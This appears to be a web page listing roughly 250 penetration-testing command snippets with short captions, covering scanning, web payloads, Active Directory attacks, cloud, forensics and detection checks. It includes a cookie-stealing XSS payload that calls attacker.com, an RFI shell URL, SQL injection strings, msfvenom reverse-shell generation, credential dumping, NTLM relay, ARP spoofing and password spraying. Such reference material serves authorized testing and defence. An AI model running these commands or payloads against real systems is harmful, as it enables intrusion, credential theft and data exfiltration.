Nmap - Top 1000 TCP
Default scripts and service detection on common ports. ↗
nmap -sC -sV -oN nmap.txt <target> 251 curated command snippets for security professionals
Default scripts and service detection on common ports. ↗
nmap -sC -sV -oN nmap.txt <target> Full TCP sweep. ↗
nmap -p- -T4 -oN nmap-all.txt <target> Fast UDP reconnaissance.
nmap -sU --top-ports 100 -oN nmap-udp.txt <target> ProjectDiscovery port scan. ↗
naabu -host <target> -p - | tee ports.txt Web probe with status, title, and tech. ↗
cat hosts.txt | httpx -status-code -title -tech-detect -o alive.txt Discover hidden paths. ↗
ffuf -u https://<host>/FUZZ -w /path/wordlist.txt -fc 404 -o ffuf.json Fast content discovery. ↗
dirsearch -u https://<host> -e php,aspx,js -x 403,404 Enumerate archived URLs.
echo <domain> | waybackurls | tee urls.txt Collect historical URLs. ↗
echo <domain> | gau --subs | tee urls.txt Passive subdomain enumeration. ↗
amass enum -passive -d <domain> -o subs.txt Fast passive subdomain discovery. ↗
subfinder -d <domain> -all -silent | tee subs.txt Template-based vuln checks. ↗
nuclei -l urls.txt -t cves/ -o nuclei-cves.txt Identify common misconfigs. ↗
nikto -h https://<host> -ssl -o nikto.txt Identify technologies.
wappalyzer https://<host> Website fingerprinting.
whatweb https://<host> Automated SQL injection. ↗
sqlmap -u 'https://<host>/item?id=1' --batch --risk=2 --level=2 Set up interception for web testing.
# Import Burp CA into browser to intercept TLS WordPress enumeration.
wpscan --url https://<host> --enumerate u,vt,tt --api-token <token> Joomla scanner.
joomscan -u https://<host> Drupal scanner.
droopescan scan drupal -u https://<host> NTLM cracking with an 8-character mask attack in an authorized lab. ↗
hashcat -m 1000 hashes.txt ?a?a?a?a?a?a?a?a -O Smart candidate generation via rules. ↗
hashcat -m 0 hashes.txt rockyou.txt -r rules/best64.rule -O John the Ripper single crack mode. ↗
john --single --format=NT hashes.txt Enumerate AD users via Kerberos in an authorized test. ↗
kerbrute userenum --dc <dc-ip> -d <domain> users.txt Request service tickets for SPNs in an authorized assessment. ↗
Rubeus.exe kerberoast /nowrap Check whether LSASS is configured as a protected process. ↗
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL Collect AD data for BloodHound in an authorized environment. ↗
SharpHound.exe -c All Analyze LLMNR/NBT-NS/mDNS traffic without poisoning. ↗
responder -I eth0 -A Execute commands over SMB with valid authorization. ↗
psexec.py <domain>/<user>:<pass>@<target> Authorized password spray validation across SMB using NetExec. ↗
nxc smb <subnet> -u users.txt -p 'Winter2026!' --continue-on-success WinRM shell access with valid credentials. ↗
evil-winrm -i <ip> -u <user> -p <pass> Search modules from CLI. ↗
msfconsole -q -x 'search type:exploit name:<term>; exit' Start a payload handler in a lab or approved assessment. ↗
use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; run Search Exploit-DB locally. ↗
searchsploit <software> <version> Find SUID binaries for privilege review.
find / -perm -4000 -type f 2>/dev/null Enumerate Linux file capabilities.
getcap -r / 2>/dev/null Automated Linux privilege review in an authorized environment. ↗
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh Identify unquoted service paths.
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v '"' Run Windows host configuration checks. ↗
Seatbelt.exe -group=system Enable monitor mode on wireless interface. ↗
airmon-ng start wlan0 Capture WPA handshake.
airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon Crack WPA using wordlist.
aircrack-ng -w rockyou.txt -b <AP_MAC> capture*.cap Capture packets with tshark. ↗
tshark -i eth0 -w capture.pcap Packet capture with tcpdump.
tcpdump -i eth0 -w capture.pcap ARP spoofing and sniffing. ↗
bettercap -iface eth0 -eval 'set arp.spoof.targets <target>; arp.spoof on; net.sniff on' Interactive packet manipulation (Python). ↗
scapy Brute force SSH credentials. ↗
hydra -l <user> -P passwords.txt ssh://<target> Brute force web login.
hydra -l <user> -P passwords.txt <target> http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect' Mark injection points in Burp Suite.
# Use Burp Intruder with §markers§ for payloads Simple XSS proof of concept.
<script>alert(document.domain)</script> Exfiltrate cookies via XSS.
<script>fetch('https://attacker.com/?c='+document.cookie)</script> Extract data via SQL injection.
' UNION SELECT null,username,password FROM users-- Trigger error messages for enumeration.
' AND 1=convert(int,(SELECT @@version))-- Access AWS instance metadata.
http://169.254.169.254/latest/meta-data/ Enumerate S3 buckets. ↗
aws s3 ls --profile <profile> Test for public S3 access.
aws s3 ls s3://<bucket> --no-sign-request List all pods in all namespaces. ↗
kubectl get pods -A Interactive shell in pod.
kubectl exec -it <pod-name> -n <namespace> -- /bin/bash Check if inside a container.
cat /proc/1/cgroup | grep docker Mount host filesystem in container.
docker run -v /:/host -it ubuntu chroot /host Enumerate Azure VMs. ↗
az vm list --output table List GCP projects. ↗
gcloud projects list AWS exploitation framework. ↗
pacu Multi-cloud security audit. ↗
scout aws --profile <profile> Identify Windows memory image metadata. ↗
vol -f memory.dmp windows.info List running processes from a Windows memory image. ↗
vol -f memory.dmp windows.pslist.PsList Launch Autopsy GUI for disk analysis. ↗
autopsy Create bit-by-bit disk images. ↗
# Use FTK Imager GUI to create forensic images Create a raw disk image while preserving read progress.
dd if=/dev/sda of=disk.img bs=4M status=progress conv=noerror,sync Extract embedded files from firmware. ↗
binwalk -e firmware.bin Find printable strings in binary.
strings -n 10 binary | less Trace library calls.
ltrace ./binary Trace system calls.
strace ./binary Static analysis with Ghidra. ↗
# Import binary into Ghidra and run analysis Disassemble and analyze binary. ↗
r2 -A binary Disassemble with objdump.
objdump -d -M intel binary List connected Android devices. ↗
adb devices Locate and extract an APK from a test device. ↗
adb shell pm path <package> && adb pull <apk-path> Decompile APK resources. ↗
apktool d app.apk Trace Android method calls in a lab app. ↗
frida-trace -U -f <package> -i '*decrypt*' Runtime instrumentation for mobile app testing. ↗
objection -g <app-or-package> explore Forward remote port to local.
ssh -L 8080:localhost:80 user@remote Create SOCKS proxy via SSH.
ssh -D 9050 user@remote Start a reverse-capable tunnel server. ↗
chisel server -p 8080 --reverse Relay traffic between ports.
socat TCP-LISTEN:8080,fork TCP:<target>:80 Route tools through a SOCKS proxy.
proxychains4 nmap -sT -Pn <target> Start the Ligolo-ng proxy with a self-signed certificate for lab pivoting. ↗
ligolo-proxy -selfcert Start the Empire server in a lab environment. ↗
./ps-empire server Start Mythic for authorized adversary emulation labs. ↗
sudo ./mythic-cli start Launch Gophish for approved phishing simulations. ↗
gophish Use Social Engineering Toolkit in an isolated training lab. ↗
setoolkit Run an approved awareness lab for MFA-resistant phishing risk education. ↗
evilginx -p ./phishlets Validate DNS egress monitoring with an owned canary domain.
nslookup $(whoami).<canary-domain> Start a listener for connectivity testing in an isolated lab.
nc -lvnp 4444 Test Windows download telemetry with a benign file. ↗
powershell -NoProfile -Command "Invoke-WebRequest https://example.com/file.txt -OutFile file.txt" Validate alerting on certutil network transfer behavior. ↗
certutil -urlcache -f https://example.com/file.txt file.txt Validate alerting on BITS transfer behavior. ↗
bitsadmin /transfer testjob https://example.com/file.txt C:\temp\file.txt Validate controls and telemetry for mshta execution. ↗
mshta.exe about:blank Validate monitoring for regsvr32 usage before testing advanced scenarios. ↗
regsvr32.exe /? Review cron persistence locations.
crontab -l 2>/dev/null; ls -la /etc/cron.* /var/spool/cron 2>/dev/null Review enabled Linux services.
systemctl list-unit-files --type=service --state=enabled Review user Run key persistence entries.
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" Review scheduled tasks for suspicious persistence.
schtasks /query /fo LIST /v Review WMI event subscriptions. ↗
Get-CimInstance -Namespace root/subscription -ClassName __EventFilter Validate stored-credential exposure in an authorized lab profile. ↗
laZagne.exe browsers Validate credential exposure with explicit authorization. ↗
secretsdump.py <domain>/<user>:<pass>@<target> Remote command execution with valid authorization. ↗
psexec.py <domain>/<user>:<pass>@<target> cmd.exe Execute via WMI with valid authorization. ↗
wmiexec.py <domain>/<user>:<pass>@<target> Execute via SMB with valid authorization. ↗
smbexec.py <domain>/<user>:<pass>@<target> Enumerate domain users where null sessions are intentionally exposed for testing.
rpcclient -U '' -N <target> -c 'enumdomusers' Comprehensive SMB enumeration using the maintained enum4linux-ng fork. ↗
enum4linux-ng -A <target> List SMB shares.
smbclient -L //<target> -N Enumerate SMB share permissions. ↗
smbmap -H <target> Analyze AD and Entra ID attack paths. ↗
# Import SharpHound or AzureHound data into BloodHound High-speed port scanner. ↗
masscan -p80,443 0.0.0.0/0 --rate 10000 Search Shodan from CLI. ↗
shodan search 'product:apache' Gather emails and subdomains. ↗
theHarvester -d <domain> -b all OSINT reconnaissance framework. ↗
recon-ng -w <workspace> Automated OSINT collection. ↗
spiderfoot -s <target> Comprehensive DNS enumeration.
dnsrecon -d <domain> -t axfr,brt,srv,std DNS reconnaissance and brute force.
fierce --domain <domain> Attempt zone transfer.
dig axfr @<nameserver> <domain> Reverse DNS lookup.
nslookup <ip> Query domain registration info.
whois <domain> Anonymous LDAP enumeration.
ldapsearch -x -H ldap://<target> -b 'dc=domain,dc=com' Dump AD via LDAP. ↗
ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip> Offline AD browsing.
# Create AD snapshot in ADExplorer GUI Enumerate AD users. ↗
powershell -c "Import-Module .\PowerView.ps1; Get-DomainUser" Find accessible shares.
powershell -c "Import-Module .\PowerView.ps1; Invoke-ShareFinder" Kerberoast attack.
powershell -c "Import-Module .\PowerView.ps1; Invoke-Kerberoast -OutputFormat Hashcat" AS-REP roasting for users without preauth. ↗
GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <dc-ip> Abuse constrained delegation.
getST.py -spn <service>/<host> -impersonate Administrator <domain>/<user>:<pass> Advanced AD persistence.
# Use mimikatz DCShadow to register rogue DC Relay NTLM auth to targets. ↗
ntlmrelayx.py -tf targets.txt -smb2support Coerce authentication from target. ↗
coercer -u <user> -p <pass> -d <domain> -t <target> -l <listener> EFSRPC coercion. ↗
PetitPotam.py <listener> <target> Printer bug coercion.
printerbug.py <domain>/<user>:<pass>@<target> <listener> Find vulnerable AD CS templates. ↗
certipy find -u <user>@<domain> -p <pass> -dc-ip <dc-ip> -vulnerable Enumerate AD CS vulnerabilities. ↗
Certify.exe find /vulnerable Automated command injection. ↗
commix --url='http://<target>/page?param=1' NoSQL injection testing. ↗
nosqlmap -t http://<target> -p param XXE exploitation. ↗
xxeinjector --host=<target> --path=/ --file=xml.xml --oob=http --phpfilter Server-side template injection. ↗
tplmap -u 'http://<target>?name=*' HTTP parameter discovery. ↗
arjun -u https://<target> Mine parameters from archives. ↗
paramspider -d <domain> Fast XSS scanner. ↗
dalfox url https://<target>?param=test Advanced XSS detection. ↗
xsstrike -u 'http://<target>?param=1' Test JWT security. ↗
jwt_tool <token> Query GraphQL schema.
curl -X POST https://<target>/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}' API development and testing.
# Use Postman for API testing Discover API documentation.
# Access /swagger or /api-docs endpoint Test CORS configuration.
curl -H "Origin: https://evil.com" https://<target> -I CSRF proof of concept.
<form action="https://<target>/action" method="POST"><input type="hidden" name="param" value="value"/></form><script>document.forms[0].submit()</script> Clickjacking test.
<iframe src="https://<target>" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%"></iframe> SSRF localhost bypass techniques.
http://127.0.0.1/ or http://[::1]/ or http://localhost.attacker.com Local file inclusion test.
../../../etc/passwd Extract PHP source via filter.
php://filter/convert.base64-encode/resource=index.php Remote file inclusion.
http://attacker.com/shell.txt Bypass upload filters.
shell.php.jpg or shell.phtml or .htaccess tricks Bypass content-type validation.
# Create file valid as multiple types (JPEG + PHP) PHP object injection.
O:8:"stdClass":1:{s:4:"test";s:4:"pwnd";} Generate Java gadget chains. ↗
java -jar ysoserial.jar CommonsCollections5 'calc' LDAP injection payload.
*)(&(password=*) or *)(cn=* XML entity expansion DoS.
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">]><lolz>&lol2;</lolz> Encode a string in base64.
echo -n 'payload' | base64 Decode base64.
echo 'cGF5bG9hZA==' | base64 -d URL encoding for request normalization testing.
# Use %20 for space, %3C for <, etc. Unicode encoding for parser normalization testing.
# Use \u0061 for 'a', etc. HTML entity encoding.
<script> for <script> Review PowerShell telemetry before testing encoded-command detections. ↗
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 20 Validate benign download telemetry. ↗
powershell -NoProfile -Command "Invoke-WebRequest https://example.com/file.txt -OutFile file.txt" Check Microsoft Defender and AMSI-adjacent protection status. ↗
Get-MpComputerStatus | Select-Object AMServiceEnabled,AntivirusEnabled,RealTimeProtectionEnabled Generate obfuscation samples for approved detection testing. ↗
# Use Invoke-Obfuscation in an isolated detection engineering lab Generate position-independent code in an isolated lab. ↗
donut -f <exe> -o shellcode.bin Use only in an isolated malware-detection validation lab. ↗
veil Use only in an isolated malware-detection validation lab. ↗
shellter Generate a payload for an isolated authorized lab. ↗
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o payload.exe Test encoder-related detection behavior in a lab. ↗
msfvenom -p <payload> -e x86/shikata_ga_nai -i 3 Prepare beacon-profile testing in an approved environment.
# Review approved Malleable C2 profiles before lab use Start Sliver for authorized implant testing in an isolated lab. ↗
sliver-server Build a simple redirector in a lab network.
socat TCP4-LISTEN:8080,fork TCP4:<lab-server>:8080 Review whether CDN and proxy policy blocks domain-fronting patterns.
# Confirm CDN and egress controls before any domain-fronting test Validate DNS tunneling detections with an owned domain in a lab. ↗
dnscat2-server <owned-domain> Validate ICMP tunnel detections in a lab.
ptunnel -p <proxy> -lp <lport> -da <dest> -dp <dport> Confirm monitoring coverage for C2-like HTTP patterns.
# Review approved beacon profiles and proxy logs Map built-in Windows binary behavior to detections. ↗
# Review LOLBAS entries for detection engineering Review PowerShell operational logging coverage. ↗
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 50 Audit configured Defender exclusions. ↗
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath Review effective AppLocker policy. ↗
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections Use ATT&CK to scope process injection detection coverage. ↗
# Review ATT&CK T1055 and map detections Map process hollowing behavior to telemetry. ↗
# Hunt for suspicious image loads, parent-child chains, and memory anomalies Understand reflective DLL loading for defensive coverage. ↗
# Review technique details before writing lab detections Review APC queue injection telemetry. ↗
# Hunt for QueueUserAPC and unusual thread start behavior Review thread hijacking telemetry. ↗
# Hunt for suspicious SuspendThread/SetThreadContext/ResumeThread sequences Review manual mapping and PE injection telemetry. ↗
# Hunt for private executable memory and abnormal module loads Review parent process spoofing detections. ↗
# Compare process creation logs against expected parent-child relationships Review token-related privileges on Windows hosts.
whoami /priv Map token duplication behavior to detections. ↗
# Hunt for DuplicateTokenEx and unusual privileged process access Check whether the current token has debug privilege.
whoami /priv | findstr /i SeDebugPrivilege Check whether LSASS protection is enabled. ↗
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL Review permissions on the SAM hive file.
icacls C:\Windows\System32\config\SAM Review DPAPI master key locations for an authorized account.
dir %APPDATA%\Microsoft\Protect /a Audit browser credential storage exposure.
# Review browser password-manager and enterprise policy settings List Windows Vaults visible to the current user.
VaultCmd.exe /list Identify privileged containers. ↗
docker ps --format '{{.ID}} {{.Names}}' | while read id name; do docker inspect --format '{{.HostConfig.Privileged}} {{.Name}}' $id; done Review host mounts exposed to a container. ↗
docker inspect <container> --format '{{json .Mounts}}' Review service accounts across namespaces. ↗
kubectl get serviceaccounts -A Find pods using hostPath volumes. ↗
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{" "}{.spec.volumes[*].hostPath.path}{"
"}{end}' Open a shell in a pod with authorization. ↗
kubectl exec -it <pod> -n <namespace> -- /bin/bash Review Linux capabilities available in a container.
capsh --print Check whether metadata access is reachable from an authorized test host. ↗
curl -s -o /dev/null -w '%{http_code}
' http://169.254.169.254/latest/meta-data/ Query Azure metadata from an authorized test host. ↗
curl -H Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01' Query GCP metadata from an authorized test host. ↗
curl 'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' -H 'Metadata-Flavor: Google' List public S3 bucket contents when testing owned or authorized buckets. ↗
aws s3 ls s3://<bucket> --no-sign-request Find verified secrets in Git history. ↗
trufflehog git https://github.com/org/repo --only-verified Detect secrets in Git repos. ↗
gitleaks detect --source . -v Review GitHub code search results for exposed secrets in authorized repos. ↗
# Search: org:target token OR password OR secret Find local environment files during source review.
find . -name ".env*" -type f -not -path "*/node_modules/*" Review Terraform state resources and confirm state storage is protected. ↗
terraform state list View encrypted Ansible Vault content with authorization. ↗
ansible-vault view vault.yml Audit Jenkins administrative risk areas. ↗
# Review Jenkins credentials scope, script console access, and plugin health Find secret exposure and branch protection gaps. ↗
# Review .gitlab-ci.yml and protected CI/CD variables Review workflows and repository secrets. ↗
gh workflow list && gh secret list Identify common CI/CD pipeline abuse paths. ↗
# Review untrusted pull_request_target, writable tokens, and third-party actions Assess dependency confusion exposure without publishing packages. ↗
# Compare internal package names against public registries Review vulnerable npm dependencies. ↗
npm audit --audit-level=moderate Audit Python dependencies for known vulnerabilities. ↗
pip-audit Validate API rate limiting without bypass guidance. ↗
# Confirm per-user, per-token, and per-IP rate limits with approved test cases Check whether unexpected properties are ignored or rejected. ↗
# POST {"unexpectedProperty": true} to a test endpoint Test object-level authorization with approved accounts. ↗
# Compare authorized access to /api/resource/<owned-id> vs <unowned-id> Validate GraphQL batching controls. ↗
# Test batching against documented rate limits in a staging tenant Check whether untrusted headers influence cacheable responses.
curl -I -H 'X-Forwarded-Host: example.com' https://<target> Review unkeyed header behavior safely. ↗
# Compare cache keys and response variance across forwarded headers Validate CL.TE request smuggling exposure. ↗
# Use a dedicated scanner in an approved staging environment Validate TE.CL request smuggling exposure. ↗
# Use a dedicated scanner in an approved staging environment Review HTTP/2 downgrade smuggling risk. ↗
# Confirm proxy downgrade behavior in staging Review cross-site WebSocket hijacking risk. ↗
# Confirm Origin checks and session binding on WebSocket handshakes Validate WebSocket message authorization and schema enforcement.
# Send {"unexpectedProperty":true} in staging Test JavaScript prototype pollution in a controlled local lab. ↗
__proto__.isAdmin = true Test unsafe object merge behavior in a controlled local lab. ↗
{"__proto__":{"isAdmin":true}} Assess server-side prototype pollution risk safely. ↗
# Validate object merge and parser behavior in a local Node.js test app Review race condition exposure. ↗
# Use staging traffic replay to test duplicate submissions and locking Automated race condition testing with authorization. ↗
# Use Burp's parallel send in an approved staging environment Review discount and promotion abuse controls.
# Test coupon reuse rules with approved staging accounts Validate server-side input rules for quantities.
# POST {"qty": -1} to a staging endpoint Detect blind SSRF safely. ↗
# Trigger DNS/HTTP callback to an owned canary domain in staging Review cloud metadata access protections. ↗
# Confirm metadata IP blocking and IMDSv2 enforcement Test XXE file access only in a local lab parser. ↗
<!ENTITY xxe SYSTEM "file:///etc/hostname"> Test blind XXE only against owned canary infrastructure. ↗
<!ENTITY % xxe SYSTEM "http://<owned-canary>/xxe"> Test template exposure in a controlled local lab. ↗
{{config.items()}} Validate Twig template expression handling in a local lab. ↗
{{7*7}}